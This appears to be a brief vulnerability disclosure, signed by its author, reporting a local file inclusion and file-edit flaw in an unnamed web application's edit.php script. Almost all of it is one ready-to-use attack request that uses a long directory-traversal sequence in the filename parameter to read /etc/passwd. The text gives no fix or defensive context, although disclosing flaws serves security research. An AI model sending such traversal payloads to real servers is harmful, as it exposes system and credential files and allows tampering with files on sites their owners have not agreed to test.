edit & view local file [lfi + edit]:
/edit.php?em=file&filename=../../../../../../../../../../../../../etc/passwd

regards laurent gaffié